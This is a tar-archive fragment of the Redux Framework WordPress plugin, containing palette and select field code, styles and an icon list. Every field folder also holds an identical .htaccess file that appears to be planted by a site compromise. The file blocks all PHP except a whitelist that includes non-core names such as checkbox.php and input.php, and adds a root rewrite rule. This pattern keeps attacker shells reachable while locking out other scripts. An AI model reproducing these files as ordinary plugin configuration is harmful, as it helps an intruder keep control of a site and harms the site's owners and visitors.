"AACI,mBAAQ;EACJ,MAAM,EAAE,IAAI;EACZ,WAAW,EAAE,IAAI;EACjB,KAAK,EAAE,IAAI;EACX,YAAY,EAAE,OAAO;EACrB,OAAO,EAAE,KAAK;EACd,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,eAAe;EACvB,WAAW,EAAE,eAAe;EAC5B,QAAQ,EAAE,QAAQ;EAClB,MAAM,EAAE,aAAa;EAErB,0BAAO;IACH,KAAK,EAAE,cAAc;IACrB,IAAI,EAAE,cAAc;IACpB,WAAW,EAAE,GAAG;IAChB,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,QAAQ,EAAE,QAAQ;IAClB,MAAM,EAAE,GAAG;IACX,GAAG,EAAE,GAAG;IACR,KAAK,EAAE,IAAI;IACX,UAAU,EAAE,IAAI;IAChB,gBAAgB,EAAE,GAAG;IACrB,gBAAgB,EAAE,KAAK;IACvB,+BAAK;MACD,gBAAgB,EAAE,OAAO;MACzB,YAAY,EAAE,OAAO;MACrB,MAAM,EAAE,GAAG;MACX,KAAK,EAAE,GAAG;MACV,YAAY,EAAE,GAAG;MACjB,YAAY,EAAE,KAAK;MACnB,OAAO,EAAE,KAAK;MACd,QAAQ,EAAE,QAAQ;MAClB,IAAI,EAAE,GAAG;MACT,WAAW,EAAE,IAAI;MACjB,UAAU,EAAE,IAAI;;AAO5B,qDAAe;EACX,KAAK,EAAE,cAAc;EACrB,IAAI,EAAE,cAAc;EACpB,WAAW,EAAE,GAAG", "sources": ["field_divide.scss"], "names": [], "file": "field_divide.css" }�������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/divide/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0014746 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/palette/field_palette.php������������������������������������������������0000644�����������������00000007420�14720701300�0016652 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Palette * @author Kevin Provance (kprovance) * @version 3.5.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_palette' ) ) { class ReduxFramework_palette { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settingss * * @since 1.0.0 * @access public * @return void */ public function render() { if (empty($this->field['palettes'])) { echo 'No palettes have been set.'; return; } echo '<div id="' . $this->field['id'] . '" class="buttonset">'; foreach ( $this->field['palettes'] as $value => $colorSet ) { $checked = checked( $this->value , $value, false ); echo '<input type="radio" value="' . $value . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" class="redux-palette-set ' . $this->field['class'] . '" id="' . $this->field['id'] . '-' . $value . '"' . $checked . '>'; echo '<label for="' . $this->field['id'] . '-' . $value . '">'; foreach ( $colorSet as $color ) { printf( "<span style='background: {$color}'>{$color}</span>" ); } echo '</label>'; echo '</input>'; } echo '</div>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { $min = Redux_Functions::isMin(); wp_enqueue_script( 'redux-field-palette-js', ReduxFramework::$_url . 'inc/fields/palette/field_palette' . $min . '.js', array( 'jquery', 'redux-js', 'jquery-ui-button', 'jquery-ui-core' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-palette-css', ReduxFramework::$_url . 'inc/fields/palette/field_palette.css', array(), time(), 'all' ); } } public function output() { } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/palette/field_palette.css������������������������������������������������0000644�����������������00000001774�14720701300�0016661 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-palette label{border:3px solid transparent;border-color:transparent !important;border-radius:0;width:100% !important;display:block}.redux-container-palette label.ui-button.ui-widget{width:95%;background:none;padding:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text{display:flex}.redux-container-palette label.ui-button.ui-widget .ui-button-text span{padding:10px;flex-grow:1;font-size:0;line-height:10px;color:transparent;-webkit-transition:all 200ms ease-in-out;-moz-transition:all 200ms ease-in-out;-ms-transition:all 200ms ease-in-out;-o-transition:all 200ms ease-in-out;transition:all 200ms ease-in-out;text-shadow:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text span:hover{flex-grow:3;font-weight:bold;min-width:60px;font-size:12px;line-height:10px;color:#333;text-shadow:0 0 8px #fff, 0 0 8px #fff}.redux-container-palette label.ui-state-active{border:3px solid #333 !important}.wp-customizer .redux-main .redux-container-palette label{margin-bottom:3px} ����redux-framework/inc/fields/palette/field_palette.js�������������������������������������������������0000644�����������������00000003006�14720701300�0016473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Field Palette (color) */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.palette = redux.field_objects.palette || {}; redux.field_objects.palette.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-palette:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.buttonset' ).each( function() { $( this ).buttonset(); } ); // el.find('.redux-palette-set').click( // function(){ // console.log($(this).val()); // } // ) } ); }; })( jQuery );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/palette/field_palette.scss�����������������������������������������������0000644�����������������00000003253�14720701300�0017036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-palette { label { border: 3px solid transparent; border-color: transparent !important; border-radius: 0; //border: 0; width: 100% !important; display: block; &.ui-button.ui-widget { width: 95%; background: none; padding: 0; .ui-button-text { /* border-top: 3px solid transparent; border-bottom: 3px solid transparent; margin-bottom: 5px;*/ display: flex; span { padding: 10px; flex-grow: 1; font-size: 0; line-height: 10px; color: rgba(0,0,0,0); -webkit-transition: all 200ms ease-in-out; -moz-transition: all 200ms ease-in-out; -ms-transition: all 200ms ease-in-out; -o-transition: all 200ms ease-in-out; transition: all 200ms ease-in-out; text-shadow: 0; &:hover { flex-grow: 3; font-weight: bold; min-width: 60px; font-size: 12px; line-height: 10px; color: #333; text-shadow: 0 0 8px #fff, 0 0 8px #fff; } } } } &.ui-state-active { border: 3px solid #333 !important; } } } .wp-customizer { .redux-main .redux-container-palette label { margin-bottom: 3px; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/palette/field_palette.css.map��������������������������������������������0000644�����������������00000001467�14720701300�0017434 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,8BAAM;EACF,MAAM,EAAE,qBAAqB;EAC7B,YAAY,EAAE,sBAAsB;EACpC,aAAa,EAAE,CAAC;EAEhB,KAAK,EAAE,eAAe;EACtB,OAAO,EAAE,KAAK;EACd,kDAAsB;IAClB,KAAK,EAAE,GAAG;IACV,UAAU,EAAE,IAAI;IAChB,OAAO,EAAE,CAAC;IAEV,kEAAgB;MAC5B;;2CAEqC;MACrB,OAAO,EAAE,IAAI;MAEb,uEAAK;QACD,OAAO,EAAE,IAAI;QACb,SAAS,EAAE,CAAC;QACZ,SAAS,EAAE,CAAC;QACZ,WAAW,EAAE,IAAI;QACjB,KAAK,EAAE,WAAa;QACpB,kBAAkB,EAAE,qBAAqB;QACzC,eAAe,EAAE,qBAAqB;QACtC,cAAc,EAAE,qBAAqB;QACrC,aAAa,EAAE,qBAAqB;QACpC,UAAU,EAAE,qBAAqB;QACjC,WAAW,EAAE,CAAC;QACd,6EAAQ;UACJ,SAAS,EAAE,CAAC;UACZ,WAAW,EAAE,IAAI;UACjB,SAAS,EAAE,IAAI;UACf,SAAS,EAAE,IAAI;UACf,WAAW,EAAE,IAAI;UACjB,KAAK,EAAE,IAAI;UACX,WAAW,EAAE,0BAA0B;EAMvD,8CAAkB;IACd,MAAM,EAAE,yBAAyB;;AAMzC,yDAA2C;EACvC,aAAa,EAAE,GAAG", "sources": ["field_palette.scss"], "names": [], "file": "field_palette.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/palette/field_palette.min.js���������������������������������������������0000644�����������������00000001042�14720701300�0017253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(i){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.palette=redux.field_objects.palette||{},redux.field_objects.palette.init=function(e){e||(e=i(document).find(".redux-group-tab:visible").find(".redux-container-palette:visible")),i(e).each(function(){var e=i(this),t=e;e.hasClass("redux-field-container")||(t=e.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),e.find(".buttonset").each(function(){i(this).buttonset()}))})}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/palette/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015140 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/field_select.php��������������������������������������������������0000644�����������������00000016431�14720701300�0016316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_select' ) ) { class ReduxFramework_select { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ public function __construct( $field , $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ public function render() { $sortable = ( isset( $this->field['sortable'] ) && $this->field['sortable'] ) ? ' select2-sortable"' : ""; if ( ! empty( $sortable ) ) { // Dummy proofing :P $this->field['multi'] = true; } if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } if ( $this->field['data'] == "elusive-icons" || $this->field['data'] == "elusive-icon" || $this->field['data'] == "elusive" ) { $icons_file = ReduxFramework::$_dir . 'inc/fields/select/elusive-icons.php'; /** * filter 'redux-font-icons-file}' * * @param array $icon_file File for the icons */ $icons_file = apply_filters( 'redux-font-icons-file', $icons_file ); /** * filter 'redux/{opt_name}/field/font/icons/file' * * @param array $icon_file File for the icons */ $icons_file = apply_filters( "redux/{$this->parent->args['opt_name']}/field/font/icons/file", $icons_file ); if ( file_exists( $icons_file ) ) { require_once $icons_file; } } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); } if ( ! empty( $this->field['data'] ) && ( $this->field['data'] == "elusive-icons" || $this->field['data'] == "elusive-icon" || $this->field['data'] == "elusive" ) ) { $this->field['class'] .= " font-icons"; } //if if ( ! empty( $this->field['options'] ) ) { $multi = ( isset( $this->field['multi'] ) && $this->field['multi'] ) ? ' multiple="multiple"' : ""; if ( ! empty( $this->field['width'] ) ) { $width = ' style="' . $this->field['width'] . '"'; } else { $width = ' style="width: 40%;"'; } $nameBrackets = ""; if ( ! empty( $multi ) ) { $nameBrackets = "[]"; } $placeholder = ( isset( $this->field['placeholder'] ) ) ? esc_attr( $this->field['placeholder'] ) : __( 'Select an item', 'redux-framework' ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } if ( isset( $this->field['multi'] ) && $this->field['multi'] && isset( $this->field['sortable'] ) && $this->field['sortable'] && ! empty( $this->value ) && is_array( $this->value ) ) { $origOption = $this->field['options']; $this->field['options'] = array(); foreach ( $this->value as $value ) { $this->field['options'][ $value ] = $origOption[ $value ]; } if ( count( $this->field['options'] ) < count( $origOption ) ) { foreach ( $origOption as $key => $value ) { if ( ! in_array( $key, $this->field['options'] ) ) { $this->field['options'][ $key ] = $value; } } } } $sortable = ( isset( $this->field['sortable'] ) && $this->field['sortable'] ) ? ' select2-sortable"' : ""; echo '<select ' . $multi . ' id="' . $this->field['id'] . '-select" data-placeholder="' . $placeholder . '" name="' . $this->field['name'] . $this->field['name_suffix'] . $nameBrackets . '" class="redux-select-item ' . $this->field['class'] . $sortable . '"' . $width . ' rows="6">'; echo '<option></option>'; foreach ( $this->field['options'] as $k => $v ) { if (is_array($v)) { echo '<optgroup label="' . $k . '">'; foreach($v as $opt => $val) { $this->make_option($opt, $val, $k); } echo '</optgroup>'; continue; } $this->make_option($k, $v); } //foreach echo '</select>'; } else { echo '<strong>' . __( 'No items of this type were found.', 'redux-framework' ) . '</strong>'; } } //function private function make_option($id, $value, $group_name = '') { if ( is_array( $this->value ) ) { $selected = ( is_array( $this->value ) && in_array( $id, $this->value ) ) ? ' selected="selected"' : ''; } else { $selected = selected( $this->value, $id, false ); } echo '<option value="' . $id . '"' . $selected . '>' . $value . '</option>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ public function enqueue() { wp_enqueue_style( 'select2-css' ); if (isset($this->field['sortable']) && $this->field['sortable']) { wp_enqueue_script('jquery-ui-sortable'); } wp_enqueue_script( 'redux-field-select-js', ReduxFramework::$_url . 'inc/fields/select/field_select' . Redux_Functions::isMin() . '.js', array( 'jquery', 'select2-js', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-select-css', ReduxFramework::$_url . 'inc/fields/select/field_select.css', array(), time(), 'all' ); } } //function } //class }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/elusive-icons.php�������������������������������������������������0000644�����������������00000022040�14720701300�0016452 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Array of Elusive Icons // Contributed by @WhatJustHappened // Last updated: 14 Sept. 2013 function get_font_icons() { $elusiveIcons = array( 'el el-address-book-alt', 'el el-address-book', 'el el-adjust-alt', 'el el-adjust', 'el el-adult', 'el el-align-center', 'el el-align-justify', 'el el-align-left', 'el el-align-right', 'el el-arrow-down', 'el el-arrow-left', 'el el-arrow-right', 'el el-arrow-up', 'el el-asl', 'el el-asterisk', 'el el-backward', 'el el-ban-circle', 'el el-barcode', 'el el-behance', 'el el-bell', 'el el-blind', 'el el-blogger', 'el el-bold', 'el el-book', 'el el-bookmark-empty', 'el el-bookmark', 'el el-braille', 'el el-briefcase', 'el el-broom', 'el el-brush', 'el el-bulb', 'el el-bullhorn', 'el el-calendar-sign', 'el el-calendar', 'el el-camera', 'el el-car', 'el el-caret-down', 'el el-caret-left', 'el el-caret-right', 'el el-caret-up', 'el el-cc', 'el el-certificate', 'el el-check-empty', 'el el-check', 'el el-chevron-down', 'el el-chevron-left', 'el el-chevron-right', 'el el-chevron-up', 'el el-child', 'el el-circle-arrow-down', 'el el-circle-arrow-left', 'el el-circle-arrow-right', 'el el-circle-arrow-up', 'el el-cloud-alt', 'el el-cloud', 'el el-cog-alt', 'el el-cog', 'el el-cogs', 'el el-comment-alt', 'el el-comment', 'el el-compass-alt', 'el el-compass', 'el el-credit-card', 'el el-css', 'el el-dashboard', 'el el-delicious', 'el el-deviantart', 'el el-digg', 'el el-download-alt', 'el el-download', 'el el-dribbble', 'el el-edit', 'el el-eject', 'el el-envelope-alt', 'el el-envelope', 'el el-error-alt', 'el el-error', 'el el-eur', 'el el-exclamation-sign', 'el el-eye-close', 'el el-eye-open', 'el el-facebook', 'el el-facetime-video', 'el el-fast-backward', 'el el-fast-forward', 'el el-female', 'el el-file-alt', 'el el-file-edit-alt', 'el el-file-edit', 'el el-file-new-alt', 'el el-file-new', 'el el-file', 'el el-film', 'el el-filter', 'el el-fire', 'el el-flag-alt', 'el el-flag', 'el el-flickr', 'el el-folder-close', 'el el-folder-open', 'el el-folder-sign', 'el el-folder', 'el el-font', 'el el-fontsize', 'el el-fork', 'el el-forward-alt', 'el el-forward', 'el el-foursquare', 'el el-friendfeed-rect', 'el el-friendfeed', 'el el-fullscreen', 'el el-gbp', 'el el-gift', 'el el-github-text', 'el el-github', 'el el-glass', 'el el-glasses', 'el el-globe-alt', 'el el-globe', 'el el-googleplus', 'el el-graph-alt', 'el el-graph', 'el el-group-alt', 'el el-group', 'el el-guidedog', 'el el-hand-down', 'el el-hand-left', 'el el-hand-right', 'el el-hand-up', 'el el-hdd', 'el el-headphones', 'el el-hearing-impaired', 'el el-heart-alt', 'el el-heart-empty', 'el el-heart', 'el el-home-alt', 'el el-home', 'el el-hourglass', 'el el-idea-alt', 'el el-idea', 'el el-inbox-alt', 'el el-inbox-box', 'el el-inbox', 'el el-indent-left', 'el el-indent-right', 'el el-info-sign', 'el el-instagram', 'el el-iphone-home', 'el el-italic', 'el el-key', 'el el-laptop-alt', 'el el-laptop', 'el el-lastfm', 'el el-leaf', 'el el-lines', 'el el-link', 'el el-linkedin', 'el el-list-alt', 'el el-list', 'el el-livejournal', 'el el-lock-alt', 'el el-lock', 'el el-magic', 'el el-magnet', 'el el-male', 'el el-map-marker-alt', 'el el-map-marker', 'el el-mic-alt', 'el el-mic', 'el el-minus-sign', 'el el-minus', 'el el-move', 'el el-music', 'el el-myspace', 'el el-network', 'el el-off', 'el el-ok-circle', 'el el-ok-sign', 'el el-ok', 'el el-opensource', 'el el-paper-clip-alt', 'el el-paper-clip', 'el el-path', 'el el-pause-alt', 'el el-pause', 'el el-pencil-alt', 'el el-pencil', 'el el-person', 'el el-phone-alt', 'el el-phone', 'el el-photo-alt', 'el el-photo', 'el el-picasa', 'el el-picture', 'el el-pinterest', 'el el-plane', 'el el-play-alt', 'el el-play-circle', 'el el-play', 'el el-plus-sign', 'el el-plus', 'el el-podcast', 'el el-print', 'el el-puzzle', 'el el-qrcode', 'el el-question-sign', 'el el-question', 'el el-quotes-alt', 'el el-quotes', 'el el-random', 'el el-record', 'el el-reddit', 'el el-refresh', 'el el-remove-circle', 'el el-remove-sign', 'el el-remove', 'el el-repeat-alt', 'el el-repeat', 'el el-resize-full', 'el el-resize-horizontal', 'el el-resize-small', 'el el-resize-vertical', 'el el-return-key', 'el el-retweet', 'el el-reverse-alt', 'el el-road', 'el el-rss', 'el el-scissors', 'el el-screen-alt', 'el el-screen', 'el el-screenshot', 'el el-search-alt', 'el el-search', 'el el-share-alt', 'el el-share', 'el el-shopping-cart-sign', 'el el-shopping-cart', 'el el-signal', 'el el-skype', 'el el-slideshare', 'el el-smiley-alt', 'el el-smiley', 'el el-soundcloud', 'el el-speaker', 'el el-spotify', 'el el-stackoverflow', 'el el-star-alt', 'el el-star-empty', 'el el-star', 'el el-step-backward', 'el el-step-forward', 'el el-stop-alt', 'el el-stop', 'el el-stumbleupon', 'el el-tag', 'el el-tags', 'el el-tasks', 'el el-text-height', 'el el-text-width', 'el el-th-large', 'el el-th-list', 'el el-th', 'el el-thumbs-down', 'el el-thumbs-up', 'el el-time-alt', 'el el-time', 'el el-tint', 'el el-torso', 'el el-trash-alt', 'el el-trash', 'el el-tumblr', 'el el-twitter', 'el el-universal-access', 'el el-unlock-alt', 'el el-unlock', 'el el-upload', 'el el-usd', 'el el-user', 'el el-viadeo', 'el el-video-alt', 'el el-video-chat', 'el el-video', 'el el-view-mode', 'el el-vimeo', 'el el-vkontakte', 'el el-volume-down', 'el el-volume-off', 'el el-volume-up', 'el el-w3c', 'el el-warning-sign', 'el el-website-alt', 'el el-website', 'el el-wheelchair', 'el el-wordpress', 'el el-wrench-alt', 'el el-wrench', 'el el-youtube', 'el el-zoom-in', 'el el-zoom-out' ); return $elusiveIcons; } add_filter( 'redux/font-icons', 'get_font_icons' ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/field_select.js���������������������������������������������������0000644�����������������00000006651�14720701300�0016146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.select = redux.field_objects.select || {}; redux.field_objects.select.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-select:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( 'select.redux-select-item' ).each( function() { var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; if ( $(this).attr('multiple') == "multiple" ) { default_params.width = "100%"; } if ( $( this ).siblings( '.select2_params' ).size() > 0 ) { var select2_params = $( this ).siblings( '.select2_params' ).val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } if ( $( this ).hasClass( 'font-icons' ) ) { default_params = $.extend( {}, { formatResult: redux.field_objects.select.addIcon, formatSelection: redux.field_objects.select.addIcon, escapeMarkup: function( m ) { return m; } }, default_params ); } $( this ).select2( default_params ); if ( $( this ).hasClass( 'select2-sortable' ) ) { default_params = {}; default_params.bindOrder = 'sortableStop'; default_params.sortableOptions = {placeholder: 'ui-state-highlight'}; $( this ).select2Sortable( default_params ); } $( this ).on( "change", function() { redux_change( $( $( this ) ) ); $( this ).select2SortableOrder(); } ); } ); } ); }; redux.field_objects.select.addIcon = function( icon ) { if ( icon.hasOwnProperty( 'id' ) ) { return "<span class='elusive'><i class='" + icon.id + "'></i>" + "  " + icon.text + "</span>"; } }; })( jQuery );���������������������������������������������������������������������������������������redux-framework/inc/fields/select/field_select.min.js�����������������������������������������������0000644�����������������00000002501�14720701300�0016716 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.select=redux.field_objects.select||{},redux.field_objects.select.init=function(e){e||(e=s(document).find(".redux-container-select:visible")),s(e).each(function(){var e=s(this),t=e;e.hasClass("redux-field-container")||(t=e.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),e.find("select.redux-select-item").each(function(){var e={width:"resolve",triggerChange:!0,allowClear:!0};if("multiple"==s(this).attr("multiple")&&(e.width="100%"),0<s(this).siblings(".select2_params").size()){var t=s(this).siblings(".select2_params").val();t=JSON.parse(t),e=s.extend({},e,t)}s(this).hasClass("font-icons")&&(e=s.extend({},{formatResult:redux.field_objects.select.addIcon,formatSelection:redux.field_objects.select.addIcon,escapeMarkup:function(e){return e}},e)),s(this).select2(e),s(this).hasClass("select2-sortable")&&(e={bindOrder:"sortableStop",sortableOptions:{placeholder:"ui-state-highlight"}},s(this).select2Sortable(e)),s(this).on("change",function(){redux_change(s(s(this))),s(this).select2SortableOrder()})}))})},redux.field_objects.select.addIcon=function(e){if(e.hasOwnProperty("id"))return"<span class='elusive'><i class='"+e.id+"'></i>  "+e.text+"</span>"}}(jQuery);�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/field_select.scss�������������������������������������������������0000644�����������������00000000267�14720701300�0016502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-select { li.ui-state-highlight { height: 20px; margin-top: 2px; margin-left: 5px; width: 64px; margin-bottom: 0; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/field_select.css.map����������������������������������������������0000644�����������������00000000334�14720701300�0017066 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,6CAAsB;EAClB,MAAM,EAAE,IAAI;EACZ,UAAU,EAAE,GAAG;EACf,WAAW,EAAE,GAAG;EAChB,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,CAAC", "sources": ["field_select.scss"], "names": [], "file": "field_select.css" }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/field_select.css��������������������������������������������������0000644�����������������00000000166�14720701300�0016315 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/select/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0014761 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] 